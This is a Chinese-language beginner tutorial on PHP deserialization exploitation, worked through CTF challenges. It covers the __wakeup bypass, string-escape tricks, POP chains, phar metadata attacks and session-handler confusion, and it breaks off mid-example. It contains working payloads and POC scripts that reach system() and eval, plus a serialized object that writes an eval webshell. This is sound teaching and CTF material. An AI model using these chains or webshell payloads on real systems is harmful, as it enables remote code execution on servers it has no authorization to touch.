首頁  >  文章  >  後端開發  >  PHP反序列化入門總結(小白必看)

PHP反序列化入門總結(小白必看)

青灯夜游
青灯夜游轉載
2023-01-28 18:04:345311瀏覽

PHP反序列化入門總結(小白必看)

最近寫了點反序列化的題,才疏學淺,希望對CTF新手有所幫助,有啥錯誤還請大師傅們批評指正。

php反序列化簡單理解

首先我們需要理解什麼是序列化,什麼是反序列化?

PHP序列化:serialize()

序列化是將變數或物件轉換成字串的過程,用於儲存或傳遞PHP 的值的過程中,同時不遺失其類型和結構。

PHP反序列化:unserialize()

反序列化是將字串轉換成變數或物件的過程

透過序列化與反序列化我們可以很方便的在PHP中進行物件的傳遞。本質上反序列化是沒有危害的。但如果使用者對資料可控那就可以利用反序列化建構payload攻擊。這樣說可能還不是很具體,舉個列子比如你網購買一個架子,發貨為節省成本,是拆開給你發過去,到你手上,然後給你說明書讓你組裝,拆開給你這個過程可以說是序列化,你組裝的過程就是反序列化

說這麼多不如直接一點測試一下

php序列化的字母標識

  • #a - array

  • b - boolean

  • d - double

  • ##i - integer

  • o - common object

  • #r - reference

  • ##s - string
  • C - custom object
  • O - class
  • N - null
  • R - pointer reference
  • U - unicode string
  • N - NULL
  • 測試一下
<?php  
class TEST{  
public $test1="11";  
private $test2="22";  
protected $test3="33";  
public function test4()  
{  
echo $this->test1;  
}  
}  
$a=new TEST();  
echo serialize($a);  
//O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}

O代表類,然後後面4代表類別名稱長度,接著雙引號內是類別名稱

然後是類別中變數的個數:{類型:長度: "值";類型:長度:"值"...以此類推}

protected 和private其實是有不可列印字元的,所以這裡附上截圖

PHP反序列化入門總結(小白必看)從圖中可以看到有幾個不可打印字符,關於這個還有一些特別的地方,和具體放在了後邊寫

有時候做題時為了防止傳參中有啥意外,通常就會urlencode一下

什麼是魔術方法? 做php反序列化的題總會遇到魔術方法

#其實就是一種特殊方法當對物件執行某些操作時會覆寫PHP 的默認操作

舉個例子如下,這裡用常見的construct和destruct魔術方法,其實就是建構函式和析構函式

<?php  
class A{  
public $a="这里是__construct";  
public function __construct()  
{  
echo $this->a;  
}  
public function __destruct()  
{  
echo $this->a="这里是__destruct";  
}  

}  
$a=new A();

//输出这里是construct这里是destruct

後邊的題中也會給一些測試魔術方法的例子

想買給出魔術方法觸發的情況,這對解題有很大幫助

    __construct 當一個物件創建時被調用,
  • __destruct 當一個物件銷毀時被調用,
  • __toString 當一個物件被當作一個字串被調用。
  • __wakeup() 使用unserialize時觸發
  • #__sleep() 使用serialize觸發
  • ## __destruct() 物件被銷毀時觸發

  • __call() 對不存在的方法或不可存取的方法進行呼叫就自動呼叫

  • __callStatic() 在靜態上下文中呼叫不可存取的方法時觸發

  • __get() 用於從不可存取的屬性讀取資料

  • __set() 在給予不可存取的(protected或private)或不存在的屬性賦值的時候,會被呼叫

  • __isset() 在不可存取的屬性上呼叫isset( )或empty()觸發

  • __unset() 在不可存取的屬性上使用unset()時觸發

  • __toString() 把類當作字串使用時觸發,回傳值需要為字串

  • __invoke() 當腳本嘗試將物件呼叫為函數時觸發

光看還是了解不夠,具體還得到親自嘗試才可以,下面我做了一些CTF題,在此分享給大家

簡單的反序列化題

題目來自[SWPUCTF 2021 新生賽]ez_unserialize

<?php  
error_reporting(0);  
show_source("cl45s.php");  

class wllm{  

public $admin;  
public $passwd;  

public function __construct(){  
$this->admin ="user";  
$this->passwd = "123456";  
}  

public function __destruct(){  
if($this->admin === "admin" && $this->passwd === "ctf"){  
include("flag.php");  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo "Just a bit more!";  
}  
}  
}  

$p = $_GET[&#39;p&#39;];  
unserialize($p);  
?>

construct方法裡admin被賦值為user,passwd被賦值為123456,而在destruct方法裡admin被賦值為user,passwd被賦值為123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"

這個式子成立才能輸出flag

php反序列化是可以控制類別方法的屬性但不能改類別方法的代碼

於是我們直接更改就行,

<?php  
class wllm{  

public $admin;  
public $passwd;  
public function __construct(){  
$this->admin ="admin";  
$this->passwd = "ctf";  
}  
}  
$a=new wllm();  
echo urlencode(serialize($a));  
?>

然後傳參就行了,一般這裡要url編碼一下,規避不可打印字符,前面我們提到private protected 屬性序列化出來會有不可列印字元。

__wakeup繞過

這個其實是CVE,CVE-2016-7124

影響版本php5简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

而魔术方法__wakeup执行unserialize()时,先会调用这个函数

写个代码本地测试一下

<?php  
class A{  
public $a;  
public function __construct()  
{  
$this->a="触发__construct";  
}  
public function __wakeup()  
{  
$this->a="触发__wakeup";  
}  
public function __destruct()  
{  
echo $this->a;  
}  

}  
$a=new A();  
echo serialize($a);

O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下

反序列化一下,输出触发__wakeup

PHP反序列化入門總結(小白必看)

O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2

PHP反序列化入門總結(小白必看)

触发__construct,绕过了wakeup

[极客大挑战 2019]PHP __wakeup()绕过

<?php  
include &#39;class.php&#39;;  
$select = $_GET[&#39;select&#39;];  
$res=unserialize(@$select);

<?php  
include &#39;flag.php&#39;;  


error_reporting(0);  


class Name{  
private $username = &#39;nonono&#39;;  
private $password = &#39;yesyes&#39;;  

public function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  

function __wakeup(){  
$this->username = &#39;guest&#39;;  
}  

function __destruct(){  
if ($this->password != 100) {  
echo "</br>NO!!!hacker!!!</br>";  
echo "You name is: ";  
echo $this->username;echo "</br>";  
echo "You password is: ";  
echo $this->password;echo "</br>";  
die();  
}  
if ($this->username === &#39;admin&#39;) {  
global $flag;  
echo $flag;  
}else{  
echo "</br>hello my friend~~</br>sorry i can&#39;t give you the flag!";  
die();  

}  
}  
}

看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;

这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看

//$a=new Name(&#39;admin&#39;,&#39;100&#39;);  
//echo urlencode(serialize($a));  
//echo serialize($a);  
$b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";  
var_dump(unserialize(urldecode($b)));

PHP反序列化入門總結(小白必看)

那么修改对象个数为大于2

O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

得到flag

PHP反序列化入門總結(小白必看)

POC

<?php  

 

class Name{  
private $username = &#39;admin&#39;;  
private $password = &#39;100&#39;;  

public function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  


}  

$a=new Name(&#39;admin&#39;,&#39;100&#39;);  
echo urlencode(serialize($a));  
//echo serialize($a);  
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D  
?>

反序列化逃逸问题

逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞

所以会有两种情况,一种是由长变短,一种是由短变长

由长变短

自己随手写个题测试下

<?php  
highlight_file(__FILE__);  
class A  
{  
public $a;  
public $b;  
public $c;  
public function __construct()  
{  
$this->a=$_GET[&#39;a&#39;];  
$this->b="noflag";  
$this->c=$_GET[&#39;c&#39;];  
}  
public function check()  
{  
if ($this->b==="123")  
{  
echo "flag{123dddd}";  
}  
else if ($this->a==="test")  
{  
echo "give you flag";  
}  
else  
{  
echo "no flag";  
}  
}  
public function __destruct()  
{  
$this->check();  
}  
}  
$a=new A();  
$b=serialize($a);  
$c=str_replace("aa","b",$b);  
unserialize($c);

这里本地写一个测试简单利用下,学会这个逃逸思路即可

$b=serialize($a);  
echo $b;  
$c=str_replace("aa","b",$b);  
echo($c);  
//O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}  
//O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}

这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag,

$this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉

开始构造

然后计算要吞噬掉多少位

PHP反序列化入門總結(小白必看)

print(len(&#39;";s:1:"b";s:6:"noflag";s:1:"c";s:3:&#39;))  
print(36*&#39;aa&#39;)  
//35  
//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa

a=36个aa,c=;s:1:"b";s:3:"123

这样构造出来为

O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:

print(len(&#39;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:&#39;))

刚好为72个,成功反序列化,得到flag

PHP反序列化入門總結(小白必看)

由短变长

题目来自ctfshowWEB262

index.php

<?php  
error_reporting(0);  
class message{  
public $from;  
public $msg;  
public $to;  
public $token=&#39;user&#39;;  
public function __construct($f,$m,$t){  
$this->from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

$f = $_GET[&#39;f&#39;];  
$m = $_GET[&#39;m&#39;];  
$t = $_GET[&#39;t&#39;];  

if(isset($f) && isset($m) && isset($t)){  
$msg = new message($f,$m,$t);  
$umsg = str_replace(&#39;fuck&#39;, &#39;loveU&#39;, serialize($msg));  
setcookie(&#39;msg&#39;,base64_encode($umsg));  
echo &#39;Your message has been sent&#39;;  
}

highlight_file(FILE);

从题目注释里可以找到message.php

message.php源码

<?php  

highlight_file(__FILE__);  
include(&#39;flag.php&#39;);  

class message{  
public $from;  
public $msg;  
public $to;  
public $token=&#39;user&#39;;  
public function __construct($f,$m,$t){  
$this->from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

if(isset($_COOKIE[&#39;msg&#39;])){  
$msg = unserialize(base64_decode($_COOKIE[&#39;msg&#39;]));  
if($msg->token==&#39;admin&#39;){  
echo $flag;  
}  
}

很明显,要想得到flag要把token值更改为admin

但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下

<?php  
class test  
{  
public $username="fuckfuck";  
public $password;  

}  

$a=new test();  
//echo serialize($a);  
echo str_replace(&#39;fuck&#39;,&#39;loveU&#39;,serialize($a));  
//O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;}  
//O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}

可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了

因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化

伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位

那么需要27个fuck就行

payload
?f=1
&m=1
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路

POP链构造

做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下

[SWPUCTF 2021 新生赛]pop

题目源码

<?php  

error_reporting(0);  
show_source("index.php");  

class w44m{  

private $admin = &#39;aaa&#39;;  
protected $passwd = &#39;123456&#39;;  

public function Getflag(){  
if($this->admin === &#39;w44m&#39; && $this->passwd ===&#39;08067&#39;){  
include(&#39;flag.php&#39;);  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo &#39;nono&#39;;  
}  
}  
}  

class w22m{  
public $w00m;  
public function __destruct(){  
echo $this->w00m;  
}  
}  

class w33m{  
public $w00m;  
public $w22m;  
public function __toString(){  
$this->w00m->{$this->w22m}();  
return 0;  
}  
}  

$w00m = $_GET[&#39;w00m&#39;];  
unserialize($w00m);  

?>

POP链入手,先找关键代码,然后推断

需要admin为w44m,passwd为08067 才能得到flag

if($this->admin === &#39;w44m&#39; && $this->passwd ===&#39;08067&#39;){
echo $flag;

发现可以利用$this->w00m->{$this->w22m}();

这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了

在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法

前面魔术方法提到

__toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,

链子构造为 w22m::__destruct->w33m::toString->w44m::getflag

poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符

<?php  
class w44m{  

private $admin = &#39;w44m&#39;;  
protected $passwd = &#39;08067&#39;;  

}  
class w22m{  
public $w00m;  
public function __destruct(){  
echo $this->w00m;  
}  
}  
class w33m{  
public $w00m="";  
public $w22m="getflag";  
public function __toString(){  
$this->w00m->{$this->w22m}();  
return 1;  
}  
}  
$a=new w22m();  
$a->w00m=new w33m();  
$a->w00m->w00m=new w44m();  
echo urlencode( serialize($a));  


?>

[NISACTF 2022]babyserialize

<?php  
include "waf.php";  
class NISA{  
public $fun="show_me_flag";  
public $txw4ever;  
public function __wakeup()  
{  
if($this->fun=="show_me_flag"){  
hint();  
}  
}  

function __call($from,$val){  
$this->fun=$val[0];  
}  

public function __toString()  
{  
echo $this->fun;  
return " ";  
}  
public function __invoke()  
{  
checkcheck($this->txw4ever);  
@eval($this->txw4ever);  
}  
}  

class TianXiWei{  
public $ext;  
public $x;  
public function __wakeup()  
{  
$this->ext->nisa($this->x);  
}  
}  

class Ilovetxw{  
public $huang;  
public $su;  

public function __call($fun1,$arg){  
$this->huang->fun=$arg[0];  
}  

public function __toString(){  
$bb = $this->su;  
return $bb();  
}  
}  

class four{  
public $a="TXW4EVER";  
private $fun=&#39;abc&#39;;  

public function __set($name, $value)  
{  
$this->$name=$value;  
if ($this->fun = "sixsixsix"){  
strtolower($this->a);  
}  
}  
}  

if(isset($_GET[&#39;ser&#39;])){  
@unserialize($_GET[&#39;ser&#39;]);  
}else{  
highlight_file(__FILE__);  
}  

//func checkcheck($data){  
// if(preg_match(......)){  
// die(something wrong);  
// }  
//}  

//function hint(){  
// echo ".......";  
// die();  
//}  
?>

查看了一下提示发现什么也没有

if(isset($_GET[&#39;ser&#39;])){@unserialize($_GET[&#39;ser&#39;]);

这是头部

这是尾部

public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);

}

从__invoke()这里开始触发

__invoke() 当脚本尝试将对象调用为函数时触发

return $bb()而这里有一个函数调用

那么$bb是class Nisa的对象就会调用 __invoke

触发$bb要调用 __toString()

而__toString()是

当一个对象被当作一个字符串被调用。

找类似echo 这种代码,而这里有个strtolower

PHP反序列化入門總結(小白必看)

strtolower是在set方法里的

__set触发

在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

在four类的中有private $fun='abc';

Ilovetxw类中的__call方法访问了fun这个变量

function __call($from,$val){  
$this->fun=$val[0];  
}

而__call方法

对不存在的方法或者不可访问的方法进行调用就自动调用

TianXiWei类中的wakeup会触发call

$this->ext->nisa($this->x); nisa()这个方法并不存在

这里详细说下

<?php  
class nisa  
{  
public $b="";  
}  
class TianXiWei{  
public $ext;  
public $x;  
public function __wakeup()  
{  
$this->ext->nisa($this->x);  
}  
}  

class test  
{  
public $a ="";  
public function __call($a,$b)  
{  
echo "call";  
}  
}  
$a=new TianXiWei();  
$a->ext=new test();  
//echo urlencode(serialize($a));  
echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}  
//echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}

wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果

链子很清晰了

TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke

POC

<?php  
class NISA  
{  
public $fun = "";  
public $txw4ever = "sYstem(&#39;ls /&#39;);";//有过滤,大小写绕过  
}  
class TianXiWei{  
public $ext;  
public $x;  
}  
class Ilovetxw{  
public $huang;  
public $su;  
}  
class four{  
public $a="TXW4EVER";  
private $fun=&#39;abc&#39;;  

}  
$a=new TianXiWei();//从这里下手触发__wakeup  
$a->ext=new Ilovetxw();//触发__call  
$a->ext->huang=new four();//触发__set  
$a->ext->huang->a=new Ilovetxw();//触发__tosrting  
$a->ext->huang->a->su=new NISA();//触发__invoke  
echo urlencode(serialize($a));

相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造

phar反序列化

单的理解phar反序列化

phar是什么?

phar是php提供的一类文件的后缀名称,也是php伪协议的一种。

phar可以干什么?

将多个php文件合并成一个独立的压缩包,相对独立

不用解压到硬盘就可以运行php脚本

支持web服务器和命令行运行

注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

PHP反序列化入門總結(小白必看)

phar文件的的结构

一个phar文件通常由四部分组成,

  • a stub:可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

  • the file contents:被压缩文件的内容。这里不是重点,内容不影响

  • [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾

<?php  
class Test {//自定义  
}  

@unlink("phar.phar");  
$phar = new Phar("phar.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
$o = new Test();  
$phar->setMetadata($o); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();  

?>

生成一个phar.phar文件

PHP反序列化入門總結(小白必看)

拉进010分析

1PHP反序列化入門總結(小白必看)

可以清楚看到一个标识符,一个序列化,一个文件名

有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下

is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file

<?php  
highlight_file(__FILE__);  
class Test {//自定义  
public $name=&#39;phpinfo();&#39;;  
}  
$phar=new phar(&#39;rce.phar&#39;);  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>");  
$o=new Test();  
$phar->setMetadata($o);  
$phar->addFromString("flag.txt","flag");//添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();  
?>

这里用file_get_contents测试下

<?php  
class test{  
public $name=&#39;&#39;;  
public function __destruct()  
{  
eval($this->name);  
}  
}  

echo file_get_contents(&#39;phar://rce.phar/flag.txt&#39;);  
?>

1PHP反序列化入門總結(小白必看)

漏洞利用条件

  • phar文件要能够上传到服务器端。

  • 要有可用的魔术方法作为“跳板”。

  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

姿势

compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt

php://filter/read=convert.base64-encode/resource=phar://phar.phar

可以用于文件上传,有文件上传头限制,还可以这样,例如GIF

$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif

[SWPUCTF 2021 新生赛]babyunser phar反序列化

查看class.php获取源码

<?php  
class aa{  
public $name;  

public function __construct(){  
$this->name=&#39;aa&#39;;  
}  

public function __destruct(){  
$this->name=strtolower($this->name);  
}  
}  

class ff{  
private $content;  
public $func;  

public function __construct(){  
$this->content="<?php @eval($_POST[1]);?>";  
}  

public function __get($key){  
$this->$key->{$this->func}($_POST[&#39;cmd&#39;]);  
}  
}  

class zz{  
public $filename;  
public $content=&#39;surprise&#39;;  

public function __construct($filename){  
$this->filename=$filename;  
}  

public function filter(){  
if(preg_match(&#39;/^/|php:|data|zip|..//i&#39;,$this->filename)){  
die(&#39;这不合理&#39;);  
}  
}  

public function write($var){  
$filename=$this->filename;  
$lt=$this->filename->$var;  
//此功能废弃,不想写了  
}  

public function getFile(){  
$this->filter();  
$contents=file_get_contents($this->filename);  
if(!empty($contents)){  
return $contents;  
}else{  
die("404 not found");  
}  
}  

public function __toString(){  
$this->{$_POST[&#39;method&#39;]}($_POST[&#39;var&#39;]);  
return $this->content;  
}  
}  

class xx{  
public $name;  
public $arg;  

public function __construct(){  
$this->name=&#39;eval&#39;;  
$this->arg=&#39;phpinfo();&#39;;  
}  

public function __call($name,$arg){  
$name($arg[0]);  
}  
}

<?php  
error_reporting(0);  
$filename=$_POST[&#39;file&#39;];  
if(!isset($filename)){  
die();  
}  
$file=new zz($filename);  
$contents=$file->getFile();  
?>  
<br>  
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>

构造链子

先找到关键的代码$this->$key->{$this->func}($_POST['cmd']);,通过这个可以构造命令执行,所以要想办法触发__get($key),

__get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性

访问content可以触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之前提到,可以触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去构造method=write&var=content,

aa::destruct()->zz::toString()->zz::write->xx->ff::__get()

看着好奇怪,为什么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new一个对象,还要对它进行访问

如下代码进行测试

<?php  
class test  
{  
private $a;  
public $b;  

public function __construct($a,$b)  
{  
$this->a="aaa";  
$this->b="bbb";  

}  
public function __get($name)  
{  
// TODO: Implement __get() method.  

$this->a="__get";  
$this->b="111";  
}  
public function __destruct()  
{  
echo $this->a;  
echo $this->b;  
}  
}  
$a =new test("s","s");  
//echo $a->a;  
$b=serialize($a);  
unserialize($b);

注释掉echo 输出是aaabbbaaabbb

去掉注释输出是get111get111

如此那么构造POP链子

<?php  
class aa{  
public $name;  
}  
class ff{  
private $content;  
public $func;  
public function __construct(){  
$this->content=new xx();//这里New xx  
}  
}  
class zz{  
public $filename;  
public $content;  
}  
class xx  
{  
public $name;  
public $arg;  
}  

$a=new aa();  
$c=new ff();  
$a->name=new zz();  
$c->func="system";  
$a->name->filename=$c;  

$phar = new Phar("flag.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
//$o = new Test();  
$phar->setMetadata($a); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();

1PHP反序列化入門總結(小白必看)

上传之后使用phar协议读取

file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag

session反序列化

session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。

而session是以文件方式存储的

直接找一道题做做

题目来自ctfshowWEB263

打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch

dirsearch -u "http://4b00e046-35c4-458d-93e7-e3ff83049288.challenge.ctf.show/" -e*

1PHP反序列化入門總結(小白必看)

存在源码泄露,访问www.zip,下载下来源码,关键代码

index.php源码

*/  
error_reporting(0);  
session_start();  
//超过5次禁止登陆  
if(isset($_SESSION[&#39;limit&#39;])){  
$_SESSION[&#39;limti&#39;]>5?die("登陆失败次数超过限制"):$_SESSION[&#39;limit&#39;]=base64_decode($_COOKIE[&#39;limit&#39;]);  
$_COOKIE[&#39;limit&#39;] = base64_encode(base64_decode($_COOKIE[&#39;limit&#39;]) +1);  
}else{  
setcookie("limit",base64_encode(&#39;1&#39;));  
$_SESSION[&#39;limit&#39;]= 1;  
}  

?>

check.php源码

<?php  

/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date: 2020-09-03 16:59:10  
# @Last Modified by: h1xa  
# @Last Modified time: 2020-09-06 19:15:38  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  

*/  

error_reporting(0);  
require_once &#39;inc/inc.php&#39;;  
$GET = array("u"=>$_GET[&#39;u&#39;],"pass"=>$_GET[&#39;pass&#39;]);  


if($GET){  

$data= $db->get(&#39;admin&#39;,  
[ &#39;id&#39;,  
&#39;UserName0&#39;  
],[  
"AND"=>[  
"UserName0[=]"=>$GET[&#39;u&#39;],  
"PassWord1[=]"=>$GET[&#39;pass&#39;] //密码必须为128位大小写字母+数字+特殊符号,防止爆破  
]  
]);  
if($data[&#39;id&#39;]){  
//登陆成功取消次数累计  
$_SESSION[&#39;limit&#39;]= 0;  
echo json_encode(array("success","msg"=>"欢迎您".$data[&#39;UserName0&#39;]));  
}else{  
//登陆失败累计次数加1  
$_COOKIE[&#39;limit&#39;] = base64_encode(base64_decode($_COOKIE[&#39;limit&#39;])+1);  
echo json_encode(array("error","msg"=>"登陆失败"));  
}  
}

inc.php中有一个这个

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);

而session存储格式(序列化)其中有这两种

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);

ini_set(&#39;session.serialize_handler&#39;, &#39; php_serialize &#39;);

测试一下看这两个什么区别

<?php  
ini_set(&#39;session.serialize_handler&#39;,&#39;php&#39;);  
session_start();  
class test1{  
public $a="test";  
}  
$a=new test1();  
$_SESSION[&#39;user&#39;]=$a;

在tmp下找到这个文件打开看

user|O:5:"test1":1:{s:1:"a";s:4:"test";}

<?php  
ini_set(&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);  
session_start();  
class test1{  
public $a="test";  
}  
$a=new test1();  
$_SESSION[&#39;user&#39;]=$a;

a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}}

两种方式的区别主要是“|”符号,在php机制中,只会序列化“|”符号后面的内容

inc.php中关键代码

class User{  
public $username;  
public $password;  
public $status;  
function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  
function setStatus($s){  
$this->status=$s;  
}  
function __destruct(){  
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format(&#39;Y-m-d H:i:s&#39;));  
}  
}

function __destruct(){

file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format(&#39;Y-m-d H:i:s&#39;));

}

可以利用这个函数写一句话木马

而session_start() 函数会解析 session 文件,就相当于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要构造出序列化字符串触发 User类 的 __destruct方法就可以了

<?php  
class User  
{  
public $username;  
public $password;  

function __construct($username, $password)  
{  
$this->username = $username;  
$this->password = $password;  
}  
}  
$a=new User(&#39;1.php&#39;,&#39;<?php eval($_POST["1"]);?>&#39;);  
echo base64_encode("|".serialize($a));

访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符:$SESSION['limti']>5?die("登陆失败次数超过限制"):$SESSION['limit']=base64_decode($_COOKIE['limit')

第一个式子不成立,则执行$SESSION['limit']=base64_decode($COOKIE['limit')

,因为有base64_decode,所以这里我们还有base64_encode一下

抓包改limit值

1PHP反序列化入門總結(小白必看)

然后发包,接着访问check.php 实现反序列化shell的写入

1PHP反序列化入門總結(小白必看)

然后变更请求方法,注意直接右键选择变更POST请求

1PHP反序列化入門總結(小白必看)

tricks总结

16进制绕过字符过滤

//O:1:"A":1:{s:2:"ab";s:4:"test";}  
//O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制

php类名对大小写不敏感

ctfshowWEB266

<?php  

highlight_file(__FILE__);  

include(&#39;flag.php&#39;);  
$cs = file_get_contents(&#39;php://input&#39;);  


class ctfshow{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public function __construct($u,$p){  
